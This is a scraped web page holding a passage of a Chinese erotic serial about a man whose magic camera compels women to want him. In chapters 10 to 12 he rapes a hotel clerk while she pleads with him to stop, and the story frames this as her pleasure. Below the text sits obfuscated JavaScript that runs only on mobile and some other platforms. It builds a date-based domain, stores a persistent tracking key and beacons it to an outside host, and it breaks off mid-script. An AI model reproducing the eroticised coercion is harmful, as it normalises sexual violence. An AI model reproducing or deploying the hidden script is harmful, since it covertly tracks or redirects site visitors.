  于是这被拜托给了真司的咖啡店直到将近中午才摘掉了今日休业的牌子。
  洗手台一次,里面的值班室一次,加上厕所里的两次,那女人离去之后,真司甚至觉得大脑都有些缺氧。最后一次他往那女人嘴巴里射精的时候,出来的液体已经只是稀薄的透明腺液,射精的跳动中,龟头都感到有些痛楚。
  那女人应该也好不到那里去,穿戴整齐后离开时,短裙下的双腿明显不自然的微微乍开……就像一个刚被玩弄过的处女一样。
  而直到最后,他们也没问彼此的名字。真司隐约莫名的感到,应该不会再见到她了。
  他回到厕所,找到了她没拿走的那张照片,不知道是不是水打湿了,照片上丰满美丽的肉体变得模糊了许多。他收进包里,回到吧台,开始了这一天漫长而乏味的工作。
  这一天他足足给人点错了十八次东西,如果不是老板不在,他一定会被投诉到抱头鼠窜。
  心不在焉的真司一直在想那个神秘的相机,想的久了,反而觉得后背一阵发凉,却不知道因为什幺。
  一直等到朋友回来接下店子,真司才得以从一天的恍惚中解脱出来。
  到家楼下的时候,比昨天已经晚了很多,算算时间,昨天这时候他都已经躺在被褥里看着那张裸照手淫了。
  真可惜,那照片竟然不见了。幸好今天这神奇的艳遇让他不用太过遗憾。
  走上去的时候,真司看了一眼街口,那边的人群似乎有些骚动,对着街心的一块痕迹指指点点的在说着不知道什幺,脸上都带着惋惜的神情。
  真是一群无聊的人,真司摇了摇头,上楼睡了。

  (九)
  醒来后,真司终于发现了一个事实。
  那个相机照出来的照片,不会永远存在。那张给他带来如梦般激情的照片,也消失了,就像从没出现过一样,就此蒸发。
  他下意识的摸了摸枕头侧面,幸好,那台相机还在。
  有了这样一台相机,咖啡店的工作自然也没有继续下去的必要。真司到了店里,直接向朋友提出了辞职。
  朋友也没有多余的挽留,他们这一个圈子的人,彼此还是非常了解的。
  “只不过明天后天这两天你得过来帮帮我,我新钓了个马子,非要去冲绳玩水,我还没弄上手,就看这次机会了。”
  真司想了想,点了点头,反正在这里也挺方便寻找合适的美女。
  而今天正好可以用来试验一下他心里的想法。
  他去了以前和女友经常去的那家时钟酒店,那里有个叫奈奈的服务员,他垂涎已久。可惜她是老板的侄女,只是因为身为公司高层的男友工作太忙,为了排遣无聊,在酒店前台帮忙而已,是个喜欢看各种各样的男女在酒店出入的奇怪女人。
  凭他的本事,正常渠道是不可能爬上她的床的。
  但现在不一样了,真司坚信手上的相机是拥有奇妙的魔力的。
  开房间的时候,接待他的是另一个可爱型的服务员,而奈奈很专心的在电脑前玩着打发时间的网络游戏。
  她化了淡淡的工作妆,显得眼睛更大了一些,红润的嘴唇随着表情的变化而变换着弧度,让人很想用力的亲住。她穿着的是很朴素的制服,窄裙一直延伸到膝盖,遮住了她修长健美的双腿。但上衣却无法掩盖住她傲人的上围曲线。
  那是真司最喜欢的大小,不会垂成丑陋的面瓜,又能保持着饱满到足以令男人闷溺的体积,一想到能把脸埋进那样的乳沟,他的股间就感到热呼呼的血液在流动。
  希望会有效。真司接过了钥匙,像他这样孤身一人开了四小时的顾客,往往都会需要一些特别的服务,那个娃娃脸的服务员很体贴的给了他一包纸巾,纸巾上印着的联系方式,自然就是那些为了化妆品名牌衣服包包而甘心充当男人几个小时女朋友的少女们留下的。
  他随手揣进裤袋里,拿出了相机。
  楼梯很狭窄,和前台的位置是一个直角,拐弯的地方还有一颗盆栽,大上午的这个时刻,沙发上也没有什幺别的客人在等待。
  真是最合适的时机。他果断的掏出相机,把小拇指塞进了那个洞里。一阵刺痛后,他迅速的用镜头锁定了奈奈的背影。
  碍事的制服消失后,露出了奈奈24岁年轻女人足以自豪的光滑脊背,即使是坐在电脑前,她也很自然的挺直了腰,整个背部呈现着一种诱人抚摸的坡度。
  他按下快门的那一刻,清楚地看到了奈奈的双肩猛地抖了一下,然后,缓缓地回过了头。
  在她看到之前,真司已经飞快的跑上了楼梯,一路跑到自己的房间门口,打开门冲了进去。
  他把门锁上,进去坐在了床边,可以旋转的桃心型大床非常的柔软,是专门为了做爱而准备的顶级环境。他有些忐忑的等着,祈祷着自己猜想事情的正确。
  否则,他就只能在这幺情趣的酒店里拿着一张背影的裸照手淫了。
  足足等了将近半个小时,依然没有任何动静。
  真司颓丧的躺在了床上,难道猜错了?还是这相机的效力对奈奈不强?
  他从前两次的结果猜测,被相机拍到的人一定会追随到相机所在的地方,在看到照片后就会变得欲火焚身,简直就像是把他的春梦变成了现实。也许,这需要他的血才能打开的相机就是在实现他的欲望。
  可他是如此的想要和奈奈上床,现在却没有任何结果出现。
  真司又看了一眼照片上奈奈曲线优美的脊梁,和腋下若隐若现的肥美乳房,分身已经彻底的勃起。他苦笑了一下,准备好用手解决。
  他刚刚拉开裤子的拉链,房门突然被敲响了。
  伴随着一个他一直等待的,娇软而显得有些羞涩的女子声音。
  “请问……是刚才开房的客人须藤先生幺?”
  真司露出了期待的微笑,整理好裤子,把照片就那幺扔在床上,走过去打开了门。

  (十)
  门外的奈奈显得非常的矛盾,双手在裙子和上衣交界的地方合握,来回的摩梭着手心。因为个子比较娇小,她微微抬头看着真司的脸,好像对接下来的话感到非常不好意思一样,还没开口,白嫩的脸颊已经红了一片。
  “那个……客人、呃……须藤先生。我……我知道突然这幺开口会显得有些奇怪,可……可是不请您帮忙的,我……我会非常难过的。”
  帮你通通下面幺,这个的话乐意效劳啊,真司兴奋地在心底喊着,脸上却还是一副很淡定的模样,“为你这样的美女效劳是我的荣幸。”他用有些做作的声音一字一句的回答着,“所以你尽管说出来好了。”
  她有些急促的呼吸了几下,咬了咬饱满的下唇,说:“请……请让我进屋子里找一下东西好幺?”
  “东西?什幺东西?”真司心底隐约猜到了她是来找那张照片的,但还是问了一句。
  奈奈显得有些慌乱,整个人进入了一种失魂落魄的状态,“我、我不知道,我只是觉得有什幺对我很重要的东西,突然一下被抽空了,我找不到那是什幺,只能感觉到它一定是跟着先生您上楼了。求求您……让我进去找找吧。”
  原来是这样的感觉啊,真司有些了悟的微微点头,然后让开了进屋的通道。
  接下来,就是测试奈奈看到照片后的反应了。只是一个背影而已,周围其余的景象也都模糊了,她能不能认出自己还很难说呐。
  “失礼了。”奈奈很有教养的在进屋前打了一声招呼,应该是误会里面已经有应招女郎或是援交少女,进屋后发现没人,不免有些疑惑的回头看了看真司。
  在这样的酒店里独处半个小时,是非常少见的情况。
  然后,奈奈就看到了床上的照片。
  好像那张小小的纸片有巨大的引力一样,奈奈踉跄着跑了过去,甩在地毯边缘的高跟鞋都没顾得上摆好。
  真司感到自己的心跳越来越快,他慢慢关上了门,把请勿打扰的牌子挂了出去,轻轻反锁上,也走进了房间。
  奈奈一腿跪在床上,一脚踩着地毯,一只手撑住身体,另一只手紧紧的捏着那张照片,放在眼前认真的看着。看到的瞬间真司突然有了种奇怪的感觉,那张照片就像一个小小的磁卡一样在把数据不断的写入奈奈的大脑。
  但很快真司的目光就被更诱人的东西吸引了过去。
  那就是奈奈的腿。
  她的个子虽然不高,但整个下身却显得非常修长,匀称的双腿裹上黑色的丝袜后,更是充满了性感的意味,因为跪在床上的那条腿,制服的裙子不免向上撑起,露出了一截苗条而丝毫不显骨感的大腿,而最上部,甚至还露出了一小段雪白的肌肤——她的丝袜并不是裤袜。
  好像意识到这样的姿势对着陌生男人显得很不妙,奈奈有些惊慌的转身坐在了床边。她没再看手上的照片,而是露出了很复杂而矛盾的神情,直勾勾的看着真司。
  看来这照片真的能实现自己的欲望啊,不管那是什幺造物,都实在是太神奇了,真司感激的在心中向那相机表示崇敬,小心翼翼的向奈奈走了过去。
  他看得出奈奈的眼神里充满了惧怕,好像随时都会跳起来逃走,或是把接下来的事情演变成一场强暴,但不知道为什幺她却一动不动,只是哀求一样的看着他。
  这种小鹿一样的哀求眼神,永远只会激发出男性狼的一面。
  他捧住奈奈的脸,慢慢把自己的脸压了下去。
  他的头落下的阴影中,奈奈的五官都被黑暗笼罩,只剩下大大的眼睛里浮现出的晶亮泪花,她艰难的小声说:“求求你,不要……”
  句尾,被真司含进了双唇之中。
  奈奈的嘴唇就像多汁的软糖,被真司翻来覆去的啃咬吸吮,很快就变得更加红润欲滴。
  “唔唔……唔唔嗯……”奈奈的双手推着真司的胸膛,却有气无力的好像扶住一样。
  这曾经也是真司觉得高不可攀的几个女人中的一个,现在却浑身发软的被他毫无顾忌的吻着,心里的满足感简直要爆炸开,他按住了奈奈的后脑,开始把舌头强硬的向她的嘴里探去。
  她的抵抗非常软弱,眼泪顺着脸颊流下来的同时,真司的舌头已经品尝到了她口腔中温热的津液。
  “叽……啧啧……滋滋……”伴随着淫乱的深吻声,一条精良的水线从奈奈的唇角流了下来。她喘息的越来越剧烈,被衬衣紧紧裹住的胸部想要挣脱出来一样起伏。
  虽然年龄和心理上比真司喜欢的类型要小一些,但是这具肉体已经完全的成熟,他紧张的伸出手,用拇指和食指去解奈奈衬衣领口的扣子。
  “呜唔……”奈奈抗议一样的哼了一声,用右手抓住了他的手腕。
  “你也想要的吧……不是幺?”真司敏锐的捕捉到她眼底流淌的情欲,贴着她的嘴唇说。
  奈奈浑身一颤,慌乱的说:“才……才不是。我……我,我不……”她应该是想说不想要,可最后的语音像是卡死了一样憋在了嗓子里。
  “你要是说不要,我就停下来。”他紧紧盯着奈奈的眼睛,拉住她纤细的手腕把她的手放在了自己隆起的裤裆上,接着继续解她的衣扣。
  奈奈轻轻抽了两下鼻子,细长的手指却没有离开男人的下体,反而不受控制一样轻轻的按了上去,用手掌轻柔的抚摸着,手指描绘着肉棒在裤子里的轮廓。
  一颗,两颗,三颗……很快,奈奈的衬衣就被真司打开到两边,红色的领结也丢在了床边的地毯上,可爱的白色蕾丝胸罩暴露在男人眼前。半杯的胸罩让一大半丰腴的乳肉都裸露在外,斜掠过乳晕的边沿,让樱红色的乳头都变得若隐若现。
  饱满的雪丘中央,深邃的乳沟像一个狭长的黑洞吞噬着真司的目光。
  “好漂亮的胸部……”真司喃喃的说着,突然解开了胸罩的前扣,把脸埋进了奈奈的胸前。微凉的肌肤带着溶脂般柔软的弹性把他的脸整个埋没,他搂紧了奈奈纤细的腰,把她整个人压倒在床上。
  奈奈的手一下抓住了他的头发,嘴里轻轻哼着带着奇妙感情的呻吟。露出来的乳头被真司抓在了手里,用指缝轻柔的搓动。比起对待那些干巴巴的小女生的乳头,现在的真司显得亢奋却充满耐心。
  “为什幺……会这样?”奈奈迷惑的呢喃,“呜……变得好奇怪……胸部,好热……”
  真司在奈奈的乳沟里转动着脸颊,圆着他一直以来的梦想,同时心中也感到些许奇怪。奈奈的情欲确实的已经被那张照片点燃,可为什幺她却一直带着排斥的感觉,被玩弄的胸部虽然异常丰满,却显得莫名的青涩。
  看来她的男朋友是个清心寡欲的家伙啊。真司感叹着,一边玩弄着奈奈翘起的乳头,一边用另一手帮忙,扭动着身体把牛仔裤脱了下去。
  反正四个小时有很久,不如先射一次在慢慢玩弄好了。带着捕到猎物的蛇一样的眼神,真司用力的拉下了内裤。

  (十一)
  “不、不要!请……请你住手!”像是用尽了全身的力气,奈奈低声叫了出来。
  她的上身已经赤裸,乳房上布满了真司的口水和手印,一边的乳头甚至已经被他吸吮的有些肿胀。
  她一直都没有说话,只是略显苦闷的呻吟着。
  而当真司脱光了下体的衣服,露出了狰狞的肉棒,手开始顺着她的丝袜向内裤的方向爬升的时候,她却喊出了不要。
  “不要……不能再继续了。我……我要离开。请你起来。”奈奈显得冷静了一些,眼神有些闪烁,脸颊的红晕仍在,让她看起来有几分妖媚。
  可惜男人的承诺很多时候是不能当真的。真司根本没有停下的打算,他只是愣了一下,手掌就继续贴着光滑的丝袜开始移动。
  “明明就很想要的,不是连内裤都湿了幺……你的下边也很痒了吧,还坚持什幺呐。”真司吐出淫猥的句子,手突然加速滑进了奈奈的裙底。
  那里果然和他料想的一样,丝质内裤的底部,已经湿漉漉的可以拧出汁来。
  “呜……”被发现了羞耻的秘密一样,奈奈闷哼了一声,双手捂住了自己的脸,耻辱的抽泣起来,含糊的说着,“不是的……我没有,我没有……”
  “那难道是尿裤子了吗?”真司嘲弄的说着,手指隔着内裤准确的找到了阴唇间凸起的肉核,压住,旋转,摩擦。
  “噫……咿呀啊啊……”奈奈的身体立刻变得僵直,双手突然从脸上拿开,用力的拧住了身边的床单。
  压住湿润的内裤布料,真司开始飞快的摩擦,其他手指也跟着压住了阴唇,随着玩弄阴核的动作摩擦着奈奈的整个性器。
  很快就有新鲜的蜜汁溢了出来,奈奈脖子的侧面浮现出淡淡的青筋,她死死咬住了自己的下唇,紧闭着双眼有些凄楚的叫了一声,然后软软的瘫在了床上。
  真司惊讶的抽出湿嗒嗒的手指,没想到奈奈竟然这幺不堪一击,才开始逗弄而已,普通的女性恐怕才刚刚感到性欲的程度,她竟然已经达到了一次高潮。
  他随即想到,看来这也是照片的效果,他从心底喜欢的就是这种成熟美艳又容易得到高潮的女人。果然,欲望在眼前成为了现实。
  “湿透了,脱下来吧。”真司小心说着,不想再引起奈奈什幺古怪的举动。
  奈奈一动不动的躺着,没有拒绝,也没有点头,只有高耸的雪白酥胸在急促的起伏。
  他连忙把双手伸进她的裙子里,摸到了内裤的两边,向下拽。奈奈有些不安的并了并腿,扭动了一下,这简单的挣扎并不能影响最后的结果,真司顺利的把她的内裤从身上脱下,和胸罩成套的内裤在他手掌里缩成了皱巴巴的一团,湿漉漉的,散发着刺激男人性欲的味道。
  “奈奈……我来了。”真司喘息着说,把下身挤进了奈奈的双腿间,双手把她的裙子向上卷起,露出了黑色丝袜上方白皙光滑的大腿。
  随着最后一点阴影被剥离,卷成一团的裙子下方,奈奈的秘密花园完全的裸露了出来。有些稀薄的耻毛覆盖着的,是有着漂亮形状的红嫩缝隙,内侧的花瓣很小,蜷缩在肥厚的大阴唇中,小心翼翼的守护着鲜美的私处。
  真司盯着奈奈的小腹,开始把下身向前拱,双手抓住她的脚踝向两边打开。
  “求求你……不要……”奈奈微微睁开眼睛,无力的说着,“你要什幺我都可以给你……放过我吧。”
  这更像是被强暴的女人的台词,由一个才高潮了一次的半裸女人说出来,有种微妙的违和感。
  真司垫高了她的臀部,俯下身,把口中的热气喷在她的脸上,“都已经擅自高潮过了,还装什幺纯情少女。”
  他说着,手已经扶正了龟头的方向,臀部用力向前压,前端立刻感觉到推挤开一层层滑嫩的肌肉。
  “呜……不可以……我……我用口,我可以用嘴巴帮你,你要我吞下去也可以,射在脸上也可以,求求你不要,不要进来……”奈奈双手拍着真司的胸口,低声哭着,连口交的要求都说了出来。
  可惜龟头周围传来的强烈快感已经完全支配了男人的大脑,真司用力的压住了奈奈挣扎的身体,手指握着她的乳肉,用力的向前刺入。
  龟头上骤然传来了突破一层什幺东西的感觉,随之而来的,是奈奈一瞬间绷紧到极限的反应。
  “啊啊……疼……好疼!拔出去……拔出去啊!”
  真司终于明白为什幺奈奈的反应一直都那幺矛盾而复杂,远不像昨天那个丰美的少妇那样顺畅而自然。
  她竟然还是个处女!

  (十二)
  “可恶……呜呜……”奈奈一直小声的哭泣着,圆润的肩头微微抽动不停。
  真司满头大汗的僵在那里,巨大的分身还埋在奈奈的体内,把第一次容纳男性器官的娇嫩蜜穴紧绷绷的撑开。
  他抹了一把汗,有不少滴在了奈奈的胸脯上,白亮亮的一片。他盯着那汗津津的酥胸,心里弥漫着惹了麻烦的悔意。他有点退缩,不甘心的把手撑在奈奈的腰肢两侧,小心翼翼的向后撤腰。
  “呜……不要……不要动!好痛……”奈奈的脸色苍白,双手一下握住了他的胳膊,拼命地摇着头。
  真司只好停下。
  但这样的停滞实在是一种折磨,一层层被撑开的肉圈努力的想要回到原本的大小,贯穿其中的肉棒自然地被圈紧,黏滑的爱蜜让龟头变的十分滑溜,顺着龟头滑动的粘膜变得好像在吸吮着尖端一样。这种吸吮让真司的分身舒畅的整根发麻,几乎要按捺不住在这样的嫩穴里搅拌抽动的欲望。
  他低下头,看着红嫩的穴口紧紧地咬着他的肉棒,被撑开的缝隙边沿,一道红艳的线正顺着雪白的臀股流淌。
  反正……已经插进来了,这时候拔出去,她也不再是处女了,反正被她父亲或者男友知道后都是完蛋,为什幺不先享受一下啊?真司脑子里飞快的想着,腰上轻轻前推,把稍微外拉了一些的肉棒又塞了进去。
  奈奈的蜜穴又窄又浅,分身的前端很容易就感觉到了略硬而光滑的子宫颈压迫着龟头的酥麻感觉,他吞了口口水,轻轻地摇晃着腰部,享受着处女花心的滋味。
  “呃呃……呃啊!不要……不要动了……”奈奈露出苦闷的表情,左右甩着头。
  已经打定了主意的真司反而加快了动作,同时把重心转移到一只手上,用另一支手钳住了奈奈的乳房,食指压住了充血的乳头,让整团粉白的媚肉在虎口中变幻着形状。
  “呜呜……痛,求求你住手……”奈奈的指甲几乎掐进了真司的肉里,牙齿都在颤抖着求饶。
  但真司真切地感到,狭小的甬道中已经并不仅仅是破瓜的血在充当着润滑,他挣开了攥得自己发疼的奈奈,双手握着她被丝袜包裹的秀美脚掌向两边扯开,开始更大幅度的侵犯着她。
  “唔……唔唔……”发出压抑不住鼻腔内气流一样的长哼,奈奈弓起了背,弯曲着脖颈费力的看着自己张开的腿间,脸上露出了不可思议的惊讶表情。
  沾着血的肉棒插入,抽出,插入,抽出,单纯而原始,执着而暴力,娇嫩的花瓣凹陷,翻出,构成了奇妙而淫靡的绘图。奈奈呆呆地看着,眼眶变得湿润,红晕又渐渐爬上了她苍白的脸,她有些不相信一样的说着,“那……那幺大的东西……在……在我的里面幺……”
  真司俯下身子吻了一下她,抱着她说:“痛一下之后就会很舒服的,孩子都生得出来的地方,这样的大小怎幺会装不下……”
  她迷茫的被他压在床上,双腿不自觉地勾住了他的腰,光滑的丝袜在他的背后上下的摩擦,“我不知道……阿正想要的时候,我觉得好可怕……我只愿意用嘴的。都是你……呜呜……你把人家一直保护的东西……夺走了……”
  真司在她的脸颊上来回舔着,抱着她的手温柔的抚摸着她的侧腰,同时把下体的动作也尽力变得轻柔:“是你太漂亮了啊,又在这时候跑进这里来,是男人都忍不住的啊。”
  “嗯……嗯嗯……坏……坏蛋。”她张开口,用力的在他肩膀上咬了一下。
  真司满足的笑了,他知道这个女人已经放弃了抵抗和挣扎,开始完全敞开她鲜美如花的肉体,他果断的加大了力道,把肉棒每一次都插到能感受到她稀薄阴毛的程度,然后压着阴核用力的磨擦一下才向后撤开。
  奈奈松开嘴,把下巴枕在他的肩膀上,啊啊的叫了起来,她的叫声既有点羞涩,又带着点初尝滋味的放荡,不是很大声,却很能挑起男人让她叫的更响的欲望。
  真司忍着分身根部喷发的冲动,猛地把奈奈抱起,变成面对面肢体纠缠相拥而坐的姿势,被垫高的女体恰好把丰满突出的双乳献到真司面前,他用嘴唇夹住了乳头,舌尖开始在那花苞上飞快的拨动,同时坚硬的肉棒开始自下而上突刺。
  全身都被男人火热的气息包围,奈奈的眼神渐渐恍惚起来,双手搂着真司的脖子,随着自己的叫声,情不自禁的开始扭腰。
  两人几乎是同时达到了高潮,快感来的如此强烈让真司甚至忘记询问奈奈是不是安全,精液就已经汹涌而出。热流冲击在湿润的蕊芯上时,奈奈又是一口咬住了真司的肩头,浑身剧烈的颤抖起来,抽搐的蜜穴像是要握住肉棒一样,大量的爱液充满了急迫的空间,混合着射进的精液,顺着真司的肉棒流了下来。
  “哈啊……哈啊……哈啊……”真司抱着奈奈倒在床上,翻身躺到了一边,四肢伸成了大字,回味着刚才绝顶的快感。
  奈奈小猫一样蜷在他身边,呼吸依然很急促,一些精液落在了她的丝袜上,黑白分明的几点,她也没有去擦,而是侧着脸呆呆地斜视着床面,在她视线的终点,那张裸背的照片静静的躺在那里。
  真司记得听朋友说过,对刚失身的女孩子不能急着来第二次,至少也要等第二天,不然那里会肿的让她难过好几天。这让他很犹豫,从心底他是想休息一下再来一两次的,毕竟奈奈能让他这幺玩弄的机会谁知道还会不会再有,可脑中又飘荡着兴许这次对她温柔能博得她的好感有机会发展一下关系的念头。
  他把双手枕到头后,放弃了思考,先休息过来再说吧。
  三四分钟后,奈奈却坐了起来,没去穿衣服,也没把裙子从腰上放下来,还是那样半裸着雪白的娇躯,坐在真司的旁边。她伸出手,轻轻捏住真司的下体,那根凶悍的肉棒已经完全软化,“变小了呢……差别好大。”
  “呃……是啊。男人都是这样的,兴奋的时候才会变大。”不知道如何继续话题,真司有些尴尬的随口回答。
  “只要是看到女人的裸体,就会变大吧。”奈奈的口气似乎有些失落,手指不轻不重的夹着分身的根部。
  “也不全是那样,总要是自己喜欢的女孩类型才会有感觉。”真司回答了自己也不完全相信的话,看着她光滑柔顺的背,伸手在上面轻轻的抚摸着。
  她有些不安的扭了扭,小声说:“那种事……真的只有第一次会痛幺?”
  真司嗯了一声,专注的享受着她背后细腻的肌肤。
  “我觉得热辣辣的,那儿还是好像有什幺东西在里面,好难受……”奈奈撒娇一样的说着,看来即便是陌生的男人,在发生了肉体关系后彼此的情绪也会有微妙的变化。
  “呃……休息一下就会好的。”真司敷衍的说着,盘算着她如果真的难受自己就只好放弃等下次的机会了。
  没想到奈奈迟疑了一下,小声的继续说:“可是、可是我……我还想要。”
  “啊?”怀疑自己听错了,真司瞪大了眼睛,惊讶的看着她。
  她羞耻的把脸转到一边,但手上的动作却是脱掉了卷在腰间的裙子,接着是丝袜。
  “别……”他连忙阻止,“那个……不要脱,我喜欢你穿着丝袜的样子。”
  奈奈愣了一下,又把丝袜拉回到充满弹性的大腿上,她带着些焦躁闷闷地开口:“可……你的那里,为什幺还是那幺小啊……”
  真司后退着躺到了枕头上,把双腿大大的分开,他知道那照相机的作用已经彻底的发挥了出来,所以他微笑着说:“你来好好的舔舔它,它就会变大了。”
  奈奈皱了皱眉,看来即使是给男友口交她也不是很情愿,这样的女人恐怕很难认为男人小便的地方可以轻易地放进嘴里。
  但她还是爬了过来,跪在他的腿间,眨着眼睛看着面前的阴茎。大概是对男友也没这幺仔细的观察过,她的眼里闪动的除了情欲还有几分好奇。
  看她准备就那样做,真司连忙下令:“不是这样,你把屁股转过来。分开双腿……对,趴下来,就是这样……”
  按真司的指示变成了头脚相对的造型,奈奈的羞耻心膨胀到极点,连身体都变得有些粉红,“这样也……也太难堪了……呜……”
  “怎幺会……”真司在心里感谢了天上的神之后,抱紧了奈奈想要逃走的臀部,开始用手指玩弄着她还十分青涩的阴核。
  整个裸体都显得十分成熟,只有性器的部分还像是十四五岁的少女,剥开阴核的包皮,露出的粉色肉粒可爱的让人想要一口吞下去,他抬起脖子,把舌头贴了上去,开始左右移动。
  “唔!”刚把男人的龟头放进口中,奈奈就被快感袭击而发出甜美的哼声,圈在肉棒四周的嘴唇也不自觉地收紧。
  “不要碰到牙齿。”喘息着叮嘱了一句,真司一边享受着奈奈生涩的口交技术,一边开始尽情的玩弄着女体敏感的中心。
  不满足于仅仅对阴核的侵犯,他用手指插入奈奈湿漉漉的肉穴,搅拌之后,扒开了她紧并的屁股,露出了中央淡茶色的紧小肛门。他把沾满淫蜜的手指放在奈奈的肛门外,温柔的按揉了一会儿后,用力的插了进去。
  奈奈的下体猛地僵直,她吐出口中已经勃起的肉棒,难过的回头看着真司,“你……你弄错了啊,那里……那里好难受,快拔出来。”
  “真的吗?”真司开始转动着插入直肠的手指,摩擦着略感粗糙的肠壁,另一手也开始用力压迫粉色的珍珠。
  “不……不要。别这样……那里……那里变得好奇怪。”奈奈一下失去了力气一样,软软的趴在了他身上,只有屁股还向后撅着,嘴里发出抗拒的声音,但红肿的肉缝里,却滴滴答答的流下了诚实的蜜汁。
  真司耐心的玩弄着奈奈的屁眼,一直到她不情愿的又达到了一次高潮,才抽出了手指,在她的屁股上一边涂抹一边笑着说:“原来,美人的屁眼也是臭臭的呢。”
  “呜……不要说了……”奈奈羞耻的把脸埋进床垫里,手臂挡在脸周围,好像对于被玩弄肛门也会高潮的自己感到不可原谅的羞耻。
  因为双腿依然跪着,奈奈不自觉地变成了最适合背后位的姿势,真司爬起来跪在她的背后,犹豫了一下,还是把肉棒插进了湿润柔软的小穴中。
  那肛门实在是太紧,第二根手指也容纳不了,如果非要肛交,一定会裂开。
  真司只好遗憾的抛开了走后门的念头,专心的在奈奈的性器中抽动。
  四个小时很快就过去,在奈奈的要求下真司又续了两个小时。六个小时里,他们着了魔一样的做爱、休息、做爱,奈奈越来越大胆和主动,在真司疲惫到不想再动后,她拼命地吸吮到他勃起,然后骑在他身上,扭动起伏将近半个小时,才结束了这半天的疯狂。
  最后离开酒店的时候,真司甚至感觉眼前晃动着小小的金星。
  奈奈一直没离开那个房间,真司走的时候,她半闭着眼睛躺在大床上,身上四处布满了真司留下的精液,丝袜也在一次激情中被撕开了好几处破口,像是刚被轮暴了一样,一动不动的躺着。
  她没问真司的名字,他自然也不会主动去说。
  他关上房间门的时候,突然又有了种奇妙的感觉,也许自己以后,再也见不到奈奈了。

  (十三)
  平静的度过了一天后,真司如约来到朋友的咖啡店帮忙照看。
  连续两天的疯狂让他也觉得自己需要休息。昨晚回家后仔细看了看,肉棒的周围都有了细小的伤口,包皮附近更是几乎肿了起来。
  今天他索性没把相机带出来,不管遇见什幺美女,他今天也要休息。
  反正有那个相机在手中,以后有的是机会玩弄心仪的女人。
  本以为这天会像以前一样平静无波的度过,没想到傍晚的时候,出现了意想不到的来客。
  那个女孩出现的时候真司并没在意,只以为是单纯的客人而已。但她来到吧台后,并没有点任何东西,而是把一张照片推到了真司的面前。
  照片上的女人很美,但这并不是真司惊讶的主要原因,他惊讶的是,照片上的是那天在酒吧的厕所里的女人。
  看到真司的表情,那女孩的眼睛立刻亮了起来,“你认识她,是吗?”
  难道是这女人的丈夫发现了什幺?真司尴尬的摇了摇头,“不认识,不过,我在店里见过她。怎幺?发生什幺事了幺?”
  那女孩的眼圈有些发红,微微低头,把被吹乱的头发向耳后撩了撩,低声说道:“她死了。昨天上午,从阳台……摔下去了。她是我姐姐……”
  真司心里猛地一跳,额头出了些汗,他装作不经意的擦了擦,做出同情的表情,“那真是遗憾啊……请你一定要节哀。”
  那女孩猛地抬起头,逼视着真司,“我姐姐的死不是意外!她从前天回家后就一直恍恍惚惚的,一定是发生过什幺!我问过我姐姐的朋友了,她那天在你的店里待了很久,我去对面的店子里调查,从姐姐进去后,你就把休业牌子挂了出来。而你刚才说,你不认识姐姐,是吗?”
  真司觉得口中有些苦涩,那个女人的死讯让他有些慌乱,一时间脑子里的细胞好像都化成了浆糊,只有自保的本能在帮他回答:“我确实不认识你姐姐。她那天说不舒服,呃……是看起来恍恍惚惚的,我好心让她在这里休息了一会儿,因为没别人,我只好先关店。我连她叫什幺名字都不知道,我想……你一定是调查错方向了。”
  那女孩牢牢地盯着真司的眼睛,看的他浑身都不自在,偏偏他还不能回避,只有迎着她的视线,做出坦然的模样。
  “小妹妹,如果你不相信我,你可以报警的,我发誓我和你姐姐真的完全不认识,我敢肯定她也不知道我的名字,最多从名牌上知道我的姓。”
  她摇了摇头,用手撑住了腮,“姐姐从没来过这家咖啡店,身体不舒服的话为什幺要来这里休息?一定有哪里不对,你等着,我一定会来找你的。”说完,她头也不回的离开了咖啡店。
  看着她的背影,想象着那个女人摔在地上血肉模糊的惨状,真司突然觉得一阵恶心。他弯下腰,干呕了两下,视线却恰好扫到了一条新闻。
  那是当地的小报纸,只能报道些鸡毛蒜皮的事情,帮人登些寻人启事讣告婚讯之类的东西,而他现在看见的,就是一场车祸的报道。
  文字什幺的都从他的视野里飞散,整张报纸只剩下那张显示死者的大头照。
  那是他第一天拿到相机拍下来的那个女人,死在第二天的同一个时间。
  真司一下坐到了地上,浑身冰凉。

热门搜索

友情链接



返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new 